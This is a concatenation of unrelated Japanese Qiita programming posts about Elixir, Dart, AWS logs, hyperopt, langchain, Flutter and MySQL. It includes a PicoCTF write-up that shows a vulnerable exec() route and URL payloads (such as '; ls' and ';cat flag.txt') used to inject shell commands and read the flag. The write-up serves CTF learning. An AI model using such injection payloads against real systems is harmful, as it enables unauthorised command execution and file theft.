OmniAICreator/Qiita-1.07M huggingface dataset:
paiza.ioでelixir その241

# 概要
paiza.ioでelixirやってみた。
練習問題、やってみた。

# 練習問題
VRMビュアーを作成せよ。

# 写真

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/18104/8acc92b5-9fa6-9813-d7c3-dcd35e8697f6.png)

# サンプルコード

```
defmodule Main do
    def load(url) do
IO.puts """
<!doctype html>
<html>
  <head>
    <script src="https://unpkg.com/three@0.127.0/build/three.js"></script>
    <script src="https://unpkg.com/three@0.127.0/examples/js/loaders/GLTFLoader.js"></script>
    <script src="https://unpkg.com/three@0.127.0/examples/js/controls/OrbitControls.js"></script>
    <script src="https://unpkg.com/three@0.127.0/examples/js/loaders/BVHLoader.js"></script>
    <script src="https://www.unpkg.com/@pixiv/three-vrm@0.3.6/lib/three-vrm.js"></script>
  </head>
  <body>
    <script>
const scene = new THREE.Scene()
const camera = new THREE.PerspectiveCamera(35, 500 / 400, 0.1, 1000)
camera.position.set(0, 1.2, -1.9)
camera.rotation.set(0, Math.PI, 0)
const renderer = new THREE.WebGLRenderer()
renderer.setSize(500, 400)
document.body.appendChild(renderer.domElement)
const directionalLight = new THREE.DirectionalLight('#ffffff', 1)
directionalLight.position.set(1, 1, 1)
scene.add(directionalLight)
"""
IO.puts "const url = '#{url}';"
IO.puts """
const loader = new THREE.GLTFLoader();
loader.load(url,
	(gltf) => {
		THREE.VRM.from(gltf).then((vrm) => {
			scene.add(vrm.scene);
		});
	},
	(progress) => console.log('Loading model...', 100.0 * (progress.loaded / progress.total), '%'),
	(error) => console.error(error)
)
function tick() {
	requestAnimationFrame(tick)
	renderer.render(scene, camera)
}
tick()
    </script>
  </body>
</html>
"""
    end
end

Main.load("https://drumath2237.github.io/three-vrm-test/models/undefined-chan-toon.vrm")


```

# 成果物

https://paiza.io/projects/878ya3pERo7gdEc7ysFJLw?language=elixir

以上。
【Dart】Listのディープコピー

DartのListにはcloneメソッドがないので、ディープコピーするには、
```dart
final test = [1, 2, 3];
final test2 = [...test];
```
と書く。

しかし、この書き方は、リスト内の要素がプリミティブな型（数値、文字列など）である場合にのみ機能する。

リストの要素が参照型(クラスとか)の場合は、要素もディープコピーする必要がある。

```dart
class Dog {
  Dog({required this.name});

  String name;

  @override
  String toString() {
    return '{name=$name}';
  }

  // クローン用メソッドを用意する
  Dog clone({String? name}) {
    return Dog(name: name ?? this.name);
  }
}

=====

// コピーの書き方

final dogList = <Dog>[Dog(name: 'Pochi'), Dog(name: 'Kuro'), Dog(name: 'Waaan')];
final copyList = [...dogList]; // ダメ
final copyList2 = dogList.map((item) => item.clone()).toList(); // OK
```


### 環境
```
Flutter 3.7.12 • channel stable • https://github.com/flutter/flutter.git
Framework • revision 4d9e56e694 (3 months ago) • 2023-04-17 21:47:46 -0400
Engine • revision 1a65d409c7
Tools • Dart 2.19.6 • DevTools 2.20.1
```

### 参考
https://qiita.com/kasa_le/items/fc5379ba15e6193f37f8

https://zenn.dev/iwaku/articles/2020-12-15-iwaku
NCS 2.4.0 雑感

NCS 2.2.0 から NCS2.4.０ へ移行した。

気になった点を列挙してみる。

・SPMからTF-Mへデフォルトが変更された。
・アドレス計算が正しく行われないことがあり、pm_staticで細かく指定する必要があった。
・FOTAのサンプルライブラリに仕様変更があったため、既存コードは要修正となった。

気付いた範囲ではこんな感じ。

ちゃんと実装すれば動作するので諦めないことが重要とおもわれる。
CloudWatch Logs Insightsでログを調査した際のメモ

CloudWatch Logs Insightsでログを調査した際に使用したコマンドのメモ。
ログをそのままCloudWatchに取り込むと全て@messageフィールドに入ってしまうので、抽出する際に必要に応じてパースしてやる必要がある。

## 対象のログ
以下のようなタブ区切りのログを抽出するものとする。
```
2023/07/06 17:00:00,001	127.0.0.1	API101	200	60
```

## ログ(@message)をフィールドごとに分割する
parseで分割できる。
```
fields @message
| parse @message "*\t*\t*\t*\t*" as datetime, ip, apiId, status, responseTime
```

## 分割したフィールドに対して条件を指定する
filterで条件を指定できる。
```
fields @message
| parse @message "*\t*\t*\t*\t*" as datetime, ip, apiId, status, responseTime
| filter apiId like "API1"
```

## 表示する項目を指定する
displayで表示項目を制限できる。
```
fields @message
| parse @message "*\t*\t*\t*\t*" as datetime, ip, apiId, status, responseTime
| display datetime, apiId, status, responseTime
```

## タイムスタンプでソートする
sortで並び順を指定できる。
```
fields @message
| parse @message "*\t*\t*\t*\t*" as datetime, ip, apiId, status, responseTime
| sort @timestamp asc
```

## 表示件数を指定する
limitで表示件数を制限できる。
```
fields @message
| parse @message "*\t*\t*\t*\t*" as datetime, ip, apiId, status, responseTime
| limit 50
```
【Webページハッキング】PicoCTF caasのwrite-up

# 概要

Webアプリケーションのハッキングを軽く学びます。

# 問題

実際にハッキングをすると大問題になるので、常設のハッキングチャレンジに取り組みます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1523062/81212648-38f9-9d5e-9e9b-9b39b0162fa0.png)

# 動作を確認する

与えられたURL（ https://caas.mars.picoctf.net/ ）にアクセスすると、このような画面になります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1523062/d0ef839c-60c1-ffaf-452b-195cb0ce8223.png)
「牛があなたのメッセージをしゃべりますよ」といったWebアプリになっているようです。
**~~うっしっしーって感じですね。~~**
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1523062/6fb60dc7-75cc-c845-7afa-f9c3ed8393d0.png)
URLの最後にメッセージを入れると牛がしゃべります。
**~~牛がうっしっしーって言っています。~~***

# スクリプトを見る

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1523062/4bfee3e0-99b9-6bb0-579d-b33d0e1a26cc.png)

```js
app.get('/cowsay/:message', (req, res) => {
  exec(`/usr/games/cowsay ${req.params.message}`, {timeout: 5000}, (error, stdout) => {
    if (error) return res.status(500).end();
    res.type('txt').send(stdout).end();
  });
});
```

与えられたスクリプトは`/cowsay/`以下に来たメッセージを以下のようにShellで実行して、レスポンスを表示しているだけっぽいです。

```
/usr/games/cowsay 与えられたメッセージ
```

これではOSコマンドインジェクションが可能になってしまいます。**~~これはクラッカーからしたら「うっしっしー」って感じですね。~~**

# 実際に攻撃する

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1523062/153beff2-691f-d04a-4800-1e4cf4030f7f.png)

```
https://caas.mars.picoctf.net/cowsay/うっしっしー; ls
```

このようなリクエストを送ることで、内部では以下のようなコマンドが実行されます。

```bash
/usr/games/cowsay うっしっしー; ls
```

`flag.txt`があることが分かったので、`cat`コマンドで取り出します。

```
https://caas.mars.picoctf.net/cowsay/うっしっしー ;cat flag.txt
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1523062/1391b08e-1464-4196-db64-b028e45e1233.png)

フラグが取り出せました！
**~~うっしっしー！~~**
XGBoost を hyperopt にてハイパーパラメータチューニングする際に起きる `Invalid Parameter format for max_depth expect int but value='#.#'`エラーへの対応方法

## 概要

XGBoost を hyperopt にてハイパーパラメータチューニングする際に起きる `Invalid Parameter format for max_depth expect int but value='#.#'`エラーへの対応方法を共有します。


`hp.quniform`メソッドにより、`max_depth`をチューニングする場合に、int 型でなく、float 型の数値が渡されることで発生するエラーのようです。

```python
from hyperopt import hp, tpe, fmin, STATUS_OK, Trials

space = {
    "max_depth": hp.quniform("max_depth", 2, 5, 1),
}

trials = Trials()
fmin(
    objective,
    space=space,
    algo=tpe.suggest,
    max_evals=30,
    trials=trials,
)
``` 

```text
XGBoostError: Invalid Parameter format for max_depth expect int but value='4.0'
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/24031/9bae6d68-5245-95b7-510f-03f2086c721b.png)


対応方法については、次の issues にて、`hp.choice`メソッドと`np.arange`メソッドを組み合わせる方法が紹介されておりました。本記事では、実際の対応例を提示します。

- [xgboost.core.XGBoostError: b"Invalid Parameter format for max_depth expect int but value · Issue #1034 · dmlc/xgboost (github.com)](https://github.com/dmlc/xgboost/issues/1034)

`hyperopt.pyll.base`の`scope.int`メソッドを利用することもで解決できるようです。

```python
from hyperopt import hp, tpe, fmin, STATUS_OK, Trials
from hyperopt.pyll.base import scope

space = {
    "max_depth": scope.int(hp.quniform("max_depth", 2, 5, 1)),
}
```

## 対応方法

### エラーが発生するコード

```python
from hyperopt import hp, tpe, fmin, STATUS_OK, Trials

space = {
    "max_depth": hp.quniform("max_depth", 2, 5, 1),
}

trials = Trials()
fmin(
    objective,
    space=space,
    algo=tpe.suggest,
    max_evals=30,
    trials=trials,
)
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/24031/41aba4fb-2fa6-4492-cdb0-8437cd283536.png)

### エラーへの対応後のコード 対応方法案1

```python
from hyperopt import hp, tpe, fmin, STATUS_OK, Trials
import numpy as np
 
space = {
    "max_depth": hp.choice("max_depth", np.arange(2, 10, dtype=int)),
}

trials = Trials()
fmin(
    objective,
    space=space,
    algo=tpe.suggest,
    max_evals=30,
    trials=trials,
)
``` 

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/24031/38c2c660-e06a-3228-357a-9b77b371db8e.png)

### エラーへの対応後のコード 対応方法案2

```python
from hyperopt import hp, tpe, fmin, STATUS_OK, Trials
from hyperopt.pyll.base import scope

space = {
    "max_depth": scope.int(hp.quniform("max_depth", 2, 5, 1)),
}

trials = Trials()
fmin(
    objective,
    space=space,
    algo=tpe.suggest,
    max_evals=30,
    trials=trials,
)
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/24031/f5377863-a8e9-2452-70f9-eaef9987f120.png)
最近アップデートしたONLYOFFICEの連携アプリ

この投稿では、2023年4月〜7月までアップデートしたONLYOFFICEの連携アプリをご紹介します。

## Moodleコネクタ v. 4.1.0

世界中の学校や大学で広く使われているオープンソースの学習管理システム Moodle 用のONLYOFFICE Docsコネクタの新バージョンを紹介します。新機能として、ドキュメント提出を伴う課題の作成、JWTヘッダーの変更機能などが追加されています。詳しくは[この記事](https://www.onlyoffice.com/blog/ja/2023/04/moodle-4-1-0-jwt)をご覧ください。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2655664/711c0981-6bba-0dc9-d151-329bb16e54db.png)

## Odoo用の公式コネクタのリリース

Odooのコネクタがリリースされました。Odoo Documents内でオフィスファイルの編集やコラボレーションが可能になります。詳しくは[この記事](https://www.onlyoffice.com/blog/ja/2023/05/onlyoffice-for-odoo)をご覧ください。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2655664/063ad74a-2cdd-54d6-4930-cfd02ebc8ccf.png)

## Confluence Cloud用の公式コネクタのリリース

ONLYOFFICEは、2017年からセルフホスト型Confluenceのインストールにプロフェッショナルな文書編集を提供してきました。今後は、クラウド版Confluenceに当社のオンラインエディターを統合することができます。[この記事](https://www.onlyoffice.com/blog/ja/2023/06/confluence-cloud-onlyoffice)でその方法をご紹介します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2655664/75bd49bd-f983-913d-2a62-5c3384ecfe7b.png)

## Nuxeo用の公式コネクタv2.1.0

NuxeoのONLYOFFICE公式コネクタがバージョン2.1.0にアップデートされ、新規ドキュメントの作成、ファイルのOOXMLフォーマットへの変換、別ページでのONLYOFFICE設定へのアクセス、JWTヘッダの設定などができるようになりました。詳しくは[この記事](https://www.onlyoffice.com/blog/ja/2023/06/nuxeo-onlyoffice-v2-1-0-jwt)をご覧ください。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2655664/5566d02b-61a2-19be-e398-1d9a83722f3e.png)


## Jira用の連携アプリv.2.3.0

Jira用ONLYOFFICE連携アプリをバージョン2.3.0にアップデートしました。これはJira 9.9と互換性があり、いくつかのタイプの非OOXMLファイルを予備変換なしで編集できるようになりました。詳細については[この記事](https://www.onlyoffice.com/blog/ja/2023/06/jira-onlyoffice-ooxml)をご覧ください。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2655664/f032fc18-65d0-ce76-6e1a-9915466fbe5a.png)

## まとめ

この記事では最近アップロード・リリースしたONLYOFFICEの連携アプリをご紹介しました。

最新情報と記事は、[公式ブログ](https://www.onlyoffice.com/blog/ja)、[公式Twitter](https://twitter.com/only_office_JA)、[公式note](https://note.com/onlyoffice)で投稿しています。ぜひフォローしてください！


<blockquote class="twitter-tweet"><p lang="ja" dir="ltr">こんにちは！<br>ONLYOFFICE公式Twitterを始めました。<br>皆さまの応援よろしく願いします。<a href="https://twitter.com/hashtag/ONLYOFFICE?src=hash&amp;ref_src=twsrc%5Etfw">#ONLYOFFICE</a> <a href="https://twitter.com/hashtag/%E3%82%AA%E3%83%BC%E3%83%97%E3%83%B3%E3%82%BD%E3%83%BC%E3%82%B9?src=hash&amp;ref_src=twsrc%5Etfw">#オープンソース</a> <a href="https://twitter.com/hashtag/opensource?src=hash&amp;ref_src=twsrc%5Etfw">#opensource</a> <a href="https://twitter.com/hashtag/%E3%82%BD%E3%83%95%E3%83%88?src=hash&amp;ref_src=twsrc%5Etfw">#ソフト</a> <a href="https://twitter.com/hashtag/IT%E4%BC%9A%E7%A4%BE?src=hash&amp;ref_src=twsrc%5Etfw">#IT会社</a></p>&mdash; The ONLYOFFICE Japan (@only_office_JA) <a href="https://twitter.com/only_office_JA/status/1593215930477445120?ref_src=twsrc%5Etfw">November 17, 2022</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
シンクライアント

端末側のコンピュータに表示や通信など```最低限の機能のみを持たせ、実際の処理やデータの築成はサーバ側で行う形態```。```端末が安価```なもので済ませられるかほか、```クライアント側にデータを残さない```ことで情報漏洩を防ぐことができ、セキュリティ強化にも繋がる。

# 出典
https://gihyo.jp/book/2022/978-4-297-12375-8
エンジニアの仕事は楽しいですか？

## はじめに

「**エンジニアの仕事は楽しいですか？**」

先日バーベキューをしていたときに、地元の後輩にこのように聞かれました。
（ちなみにその後輩は、エンジニアとは無関係で、繊維工場に勤務しています。）

私はそのとき、仕事で問題を抱えており、順調に進んでいなかったこともあり、少し後ろ向きな回答をしてしまいました:cry:
後日振り返ると、その回答内容に後悔する自分がいました。

エンジニア（に限らずですが）辛いことも沢山ありますが、**楽しいと思えることも沢山ある**んです:muscle:
そこで、自分にとって**エンジニアとしての楽しさ・やりがいは何なのか**を整理してみることにしました。

## エンジニアの楽しさ・やりがい

### 1. 自分次第でめちゃくちゃ成長できる

私はゲームをよくやる方ではないのですが、RPG（特にドラクエ）は大好きです:smile:
主人公や仲間をレベルアップして、特技や呪文を覚えて、成長させていく。という流れが面白いです。
（ちなみに時間をかけてめっちゃパーティーを強くして、ボスを楽々倒す。というやり方が好きですｗ）

エンジニアって、**RPGの主人公のようなもの**だと思っています。

「プログラミング」「データベース」「ネットワーク」「マネジメント」「セキュリティ」「コミュニケーション」・・・
といった色々（ほんとに色々）なスキルをどんどん広く・深く身に着けていって、システムを開発する。
**やればやるほど自分の成長に繋がる**し、ちゃんと結果が返ってくるというのが非常に面白く、やりがいを感じています。
さらに言うと、PC・モニター・キーボード・マウスあたりは装備品のようなものですね。

これだけ成長を面白く感じれる職業は、エンジニアだ！と勝手に思っています。
（偉そうに言っていますが、他の業種はほとんど経験がありませんｗ すみません。）

これからもどんどんレベルをあげていきたいと思います:muscle:


### 2. すごい！って言われるとめっちゃ嬉しいｗ

私自身はよわよわエンジニアでマジですごくない（マジで）のですが、そんな私でもごくたまに「**すごい！**」と言ってくれるメンバーやお客さんがいるのです。

表情には出さないようにしてますが、めっちゃ嬉しくなります:relaxed:
例えば、プロジェクトで抱えていた問題を解決したり、ちょっとしたツールを作って展開したときとかですね。
あと、パソコンに詳しくない家族・友人・地元の方などが困っているときに、助けてあげれたこともありました。

褒められたり感謝されたりすることはとても気持ちがいいことで、もっともっと頑張ろうと思えます。
これもエンジニアとしての面白さだと思います。
**自分が積み重ねてきたスキルで、人を助けられる**ってことです。素晴らしいことですよね。

なお、エンジニアには、超超超すごい人がたくさんいます。
「エンジニア人生を3周目ですよね？ **強いままニューゲーム**してますよね？」
って人もいます。いないと思いますか？います。

その超超超すごい人を見ると「かっけぇ:eyes:！」ってなります。
で、こんな風になりたい！とパワーを貰えるんですよね:star:

### 3. パソコンさえあれば仕事ができる

仕事をするにあたり、道具って色々必要になってきますよね。
- 工場関係であれば機械など・・・
- 建築関係であれば工具やトラックなど・・・
- 販売関係であればレジや品物など・・・

でもエンジニアって、**パソコンさえあれば仕事ができちゃう**んですよね。（実際にはサーバーとか必要なんで、ちょっと極論ですがｗ）
これは副業として考えた場合も大きなメリットですよね。**パソコンがあれば、稼げる環境が作れる**ので。
これって他の業種ではなかなか難しいことだと思います。

パソコンとスキルがあれば何でもできちゃう。
このシンプルさが私はとても魅力的だと思います。
だからこそ勉強してスキルアップしたり、パソコンにあれこれ入れて強くしていくのが面白いですよね:yum:

## おわりに

最初の私のように、「辛いこと」や「うまくいかないこと」など、**マイナスな点を探す**ばかりでは、メンタルがやられてしまいます。これは仕事に限らずだと思います。
仕事でも家事育児でも趣味でも人間関係でも、「楽しいこと」「やりがいを感じること」など、**プラスな点は必ずあります**。
「エンジニアの仕事は楽しいですか？」を考えたとき、私はマイナスな点ばかりに目を向けていて、プラスな点を探すことができていなかったと気づきました。

今回この記事を書けたのも、後輩くんの「**エンジニアの仕事は楽しいですか？**」のおかげです。
今度会ったらお礼を言って美味しいものを食べさせてあげたいと思います。

あと「**エンジニアの仕事は楽しいよ！**」って伝えようと思います:relaxed:


おわり
Chroma db × langchainでpersistする際の注意点

gradio + langchain でチャットボットを作成した。
```
langchain                0.0.216
chromadb                 0.3.22
```
Documentオブジェクトからchroma dbでデータベースを作成している。最初に作成する際には以下のようにpersistディレクトリを設定している。
```python: これはうまくいかない
db = Chroma.from_documents(documents,
                           embeddings,
                           persist_directory=persist_directory, 
                           collection_name="pdfs")
```
しかし、ボットを再起動すると、persist済みのディレクトリを指定してそこからデータベースを作成したにも関わらず、推論時に
`Index not found, please create an instance before querying`と言われてしまった。

Githubのissueを見てみると、同様のエラーが挙がっていた。
https://github.com/hwchase17/langchain/issues/2491

結論から言うと、最初にデータベースを作成する際に`from_documents`メソッドは使ってはダメなようだ（このissueだいぶ前だけど結局depricateもbugfixもされてないのだろうか）。

まず`Chroma`をインスタンス化てから`add_documents()`して`persist()`する方法だとボットを再起動してもpersistがちゃんと使用される。
```python: 最初にデータベースを作成するとき
# settings for ChromaDB
client_settings = chromadb.config.Settings(
        chroma_db_impl="duckdb+parquet",
        persist_directory=persist_directory, 
        anonymized_telemetry=False
    )
# create instance
db = Chroma(
        collection_name="langchain_store",
        embedding_function=embeddings,
        client_settings=client_settings,
        persist_directory=persist_directory,
    )
# add docs
db.add_documents(documents=documents, embedding=embeddings)
db.persist()

```
```python: persistされたデータベースを使用するとき
# settings for ChromaDB
client_settings = chromadb.config.Settings(
        chroma_db_impl="duckdb+parquet",
        persist_directory=persist_directory, 
        anonymized_telemetry=False
    )
db = Chroma(
    collection_name="langchain_store",
    embedding_function=embeddings,
    client_settings=client_settings,
    persist_directory=persist_directory,
)
chroma_retriever = db.as_retriever()
```

# 追記 2023.8.18
LangchainとChromaのバージョンが上がり、データベースの作り方が変わった。
`Chroma`の引数の`client_settings`が`client`になり、`client`は`chromadb.PersistentClient`で指定するようになった。

https://github.com/langchain-ai/langchain/issues/7887#issuecomment-1664562702
```
langchain                 0.0.265
chromadb                  0.4.6
```

```python
import chromadb
from chromadb.config import Settings

persist_directory = 'your_persist_path'
client = chromadb.PersistentClient(path=persist_directory)

# 新しいDBの作成
db = Chroma(
            collection_name="langchain_store",
            embedding_function=embeddings,
            client=client,
            )
db.add_documents(documents=documents, embedding=embeddings)

# persistされたデータベースを使用するとき
db = Chroma(
    collection_name="langchain_store",
    embedding_function=embeddings,
    client=client,
)

# データベースからretriever作成
retriever = db.as_retriever(search_kwargs={"k": 3}) # Topkもここの引数で指定できる
```
WKWebViewでPOSTするとOriginヘッダーがnullになる

# はじめに
WKWebViewで表示するHTMLをPOSTでリクエストして取得するということがありました。

```swift
var urlRequest = URLRequest(url: url)
urlRequest.httpMethod = "POST"

let webView = WKWebView()
webView.load(urlRequest)
```

このようにすると、WKWebViewが自動で`Origin`ヘッダーを`null`にしてリクエストします。
リクエスト先のAPIサーバはこれを不正なアクセスとみなして403エラーを返していました。

# 対応方法
明示的に`Origin`ヘッダーに許可されているURLを指定するようにしました。

```swift
urlRequest.setValue("https://xxx.com", forHTTPHeaderField: "Origin")

```

対応方法として正しいかは微妙ですが（そもそもPOSTリクエストしてるのが例外？）、一旦これで問題は回避できました。

# Originヘッダーについて
`Origin`ヘッダーは通常クロスオリジンアクセスでブラウザなどのクライアントが付与するものですが、同一オリジンアクセスでも`GET`と`HEAD`以外のアクセスでは付与されるようです。

https://developer.mozilla.org/ja/docs/Web/HTTP/Headers/Origin

今回の場合、最初にロードするページをPOSTでリクエストしてるので、オリジンに相当するものがそもそも無いわけですが、POSTリクエストであること、オリジンが不明（そもそも無い）ということで`Origin: null`というヘッダーになったのかなと推測しています。
DenoでUser-Agentの解析を行う

- Webサーバーに自身のアクセス情報を伝える手段として[User-Agent](https://developer.mozilla.org/ja/docs/Web/HTTP/Headers/User-Agent)という仕組みがあります。
- この仕組みによりサービス提供者が利用者のOSやデバイスによって最適化されたページを提供することが可能となっております。
- 今回はDeno 1.35でUser-Agentを解析する方法を記録いたします。

## 環境
- macOS 13.0
- deno 1.35.0

## コード
- 任意のディレクトリに`app.ts`を作成して、中身を以下の内容にします。

```typescript
import { UserAgent } from "https://deno.land/std@0.193.0/http/user_agent.ts";

Deno.serve((req) => {
  const ua = new UserAgent(req.headers.get("user-agent"));

  // OS情報
  console.log(ua.os);
  console.log(ua.os.name);

  // ブラウザ情報
  console.log(ua.browser);
  console.log(ua.browser.name);

  // レスポンス
  return new Response("Hello");
});
```

- 記述後、ターミナルにて以下のコマンドでプログラムを実行します。

```shell
deno run --allow-net app.ts
```

- 実行後は`localhost:8000`が起動して、Chromeでアクセスすると**Hello**が表示されます。
    - ※Deno 1.35から`Deno.serve`という[APIが安定的になり](https://deno.com/blog/v1.35#denoserve-is-now-stable)、**1行でWebサーバーを起動することが可能となっています。**
- 表示確認後、ターミナルでログを確認すると以下のような利用している「**OS情報・ブラウザ情報**」が出力されていることを確認します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/336499/08f02260-0c05-02bb-e994-8cbcf752560b.png)

- 次に「User-Agent」の情報を変更して確認してみます。
- Chromeでは以下のようにデベロッパーツールを開き,
「**その他のツール**」から「**ネットワーク状態**」へ遷移するとその中の「**ユーザーエージェント**」欄で利用情報を任意の内容へ変更することが可能です。
    - **今回はFirefox - iPad**に変更した値で確認してみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/336499/980c2214-6af0-19da-c541-a0c4e000fb2b.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/336499/1887fac6-6a3f-5639-27a0-b11b305c72a4.png)

- 変更してページをリロード後、再度ターミナルを確認してログの利用情報が以下のようになっていることを確認します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/336499/0248050a-02ba-2a8e-9141-8060ba11c061.png)

- 以上です。

## まとめ
- 今まではJSの[Navigator](https://developer.mozilla.org/ja/docs/Web/API/Navigator/userAgent)オブジェクトやライブラリの[UAParser.js](https://github.com/faisalman/ua-parser-js)を利用していました。
- Deno 1.35からは[標準ライブラリとして提供される](https://deno.com/blog/v1.35#addition-of-httpuser_agent)こととなったので、より便利かつ安定的に利用できそうです。

## 参考
- https://deno.com/blog/v1.35
- https://github.com/faisalman/ua-parser-js
- https://developer.mozilla.org/ja/docs/Web/API/Navigator/userAgent
postgresQLの =# と -# の違い

# 概要
ターミナルでPostgresQLのデータ抽出中に、`データベース名=#`という表示ではなく`データベース名-#` と出て、検索がうまく出来なかった。

![スクリーンショット 2023-07-06 16.09.30.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2729110/e192a120-d33e-5c29-dcc8-d8ff8fb12e06.png)


# 原因
**；（セミコロン）を入れ忘れるとこのようになる。**
`-#`は改行モードに入っていることを指す。この状態で追加のキーワードを入れて最後に`;`を入れてエンターキーを押すと、通常通り検索に戻れる。

長文の検索を見やすくしたい時に使うことで便利。

# 結果
`-#`の意味は改行モードを表しており、セミコロンを使えば`=#`に戻れることがわかった。
【Flutter】Error: Member not found: 'FirebaseAppPlatform.verifyExtends'の原因と解決方法

# 表題のエラーの原因
ios/Podsディレクトリ内のモジュールのバージョンと、pubspec.yamlのバージョンが異なるため新しいバージョンで追加されたメンバーが認識できない

# エラー発生時

Xcodeにひょこっと表示されて原因がわからない
```
Showing Recent Issues
Command PhaseScriptExecution failed with a nonzero exit code
```

# 解決手順
![スクリーンショット 2023-07-06 15.50.54.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1092613/6e71d874-8b12-294f-0395-f7625277a47b.png)
上の画像の Debug navigator＞Runner>Run>Buildから詳しい原因を探っていく


```
Showing Recent Issues
../../../.pub-cache/hosted/pub.dartlang.org/firebase_core-1.24.0/lib/src/firebase_app.dart:18:25: Error: Member not found: 'FirebaseAppPlatform.verifyExtends'.
```

` Error: Member not found: 'FirebaseAppPlatform.verifyExtends'`でググってみる

https://stackoverflow.com/questions/74226250/error-member-not-found-firebaseappplatform-verifyextends

cocoapodsのPodディレクトリの中身のモジュールととpubspec.yamlのバージョンが合っていないことが原因で起こるエラーっぽい。下のコマンドを実行

```
flutter pub upgrade --major-versions
```

Podfile.lockを削除
```shell
rm -f ios/Podfile.lock
```

念の為依存関係を整理
```
flutter pub get
```

Cocoapodsのリポジトリを更新
```
pod install --repo-update
```

flutterで再びビルド
```
flutter run
```

無事ビルド成功

## 補足

`import 'dart:async';`をしているのに`Future ins't a type`と言われる場合は以下のフローをする

```dart
flutter clean
flutter pub get
fvm flutter pub run build_runner build --delete-conflicting-outputs
```
MySQLの長時間の起動で自動的に接続が切れてしまう問題。

# 課題
研究のデータ収集用に、Slackのアプリを作ったのですが、一定時間経つと使用しているMySQLへの接続が切れてしまい、再起動が必要になったため、原因を調査しました。

* 使用言語・DB・ライブラリ:
    * Python3.11.1
    * mysql8.0
    * SQLAlchemy2.0.15
* 環境:Dockerコンテナ

エラーメッセージ：
```csharp
Failed to start: (mysql.connector.errors.OperationalError) MySQL Connection not available
[SQL: <SQLクエリ>]
[parameters: [{}]]
(Background on this error at: https://sqlalche.me/e/20/e3q8)
```


# 原因
原因は、MySQLが一定時間経つと自動的に接続を切ってしまうことが原因であったようです。

https://docs.sqlalchemy.org/en/20/core/pooling.html#setting-pool-recycle

デフォルトでは、28800秒(8時間)のようです。

``` sql
mysql> SHOW VARIABLES LIKE 'wait_timeout';
+---------------+-------+
| Variable_name | Value |
+---------------+-------+
| wait_timeout  | 28800 |
+---------------+-------+
1 row in set (0.01 sec)
```

# 改善方法
そこで、3600秒(1時間)毎に接続をリサイクルするように変更(`pool_recycle=3600`を追加)しました。この変更により、接続が自動的に切断される前に、新しい接続が作られ、常にアクティブな接続が保たれるようになります。

``` python
def __init__(self):
        db_url = f"mysql+mysqlconnector://{setting.MYSQL_USER}:{setting.MYSQL_PASSWORD}@{setting.MYSQL_HOST}/{setting.MYSQL_DATABASE}"
        self.engine = create_engine(db_url, pool_recycle=3600)
        self.session_factory = sessionmaker(bind=self.engine, expire_on_commit=False)
        self.Session = scoped_session(self.session_factory)
        self.create_table()
```
position: stickyで固定した要素がスマホでズレる問題

# はじめに

要素を`position: sticky`で`bottom: 0`を指定して下部に固定した際、実機のスマホだとアドレスバーの有無によって位置がズレてしまう問題が発生しました。

## 環境
機種：pixel6a
os：Andorid13
ブラウザ：chrome114

## 解決方法
コードに以下の要素をどこかに追加することでズレが解消されました。一体なぜなんだろう。。。
```
<div style="position: fixed"><div/>
```
こちらの[海外ブログ](https://www.stevefenton.co.uk/blog/2022/12/mobile-position-sticky-issue/)を参考にさせてもらいました。
おそらくズレが発生してしまうのはブラウザのバグだと思うのですが、この現象に関して何か知っている方がいましたらコメント等で教えていただけると助かります。
Cocoapods周りでエラーが出た時のポイント

# この記事が必要になった動機
過去のバージョンに戻したくなった際にブランチを切っただけでは依存関係に関するエラーが多発したため

# Cocoapodsの確認

## Podfile内の確認
公式のSpecファイルを参照させて動作するか確認する
```ruby
source 'https://github.com/CocoaPods/Specs.git' # 追記
```

Podfile内でplatformが指定されているか確認
```ruby
platform :ios, '13.0'# コメントアウトを外す
```


- Podfile.lockを削除

- `pod install --repo-update`を実行
    - 上記コマンド実行前に'flutter pub get'を実行
- 

# flutterバージョンの確認
flutterの`pubspeck.yaml`に記載されているモジュールをメジャーアップデートさせる
```
flutter pub upgrade --major-versions
```
レジスタ

# アキュムレータ（累算器)
```計算用```、```アドレス修飾用```など、さまざまな用途に使われる。

# ステータスレジスタ
マイクロプロセッサ（MPU/CPU）内部の高速な記憶装置であるレジスタの一種で、演算や処理の結果により一部が書き換えられるもの。```条件分岐命令```などがその内容を読み取って動作に反映させる。
# 出典
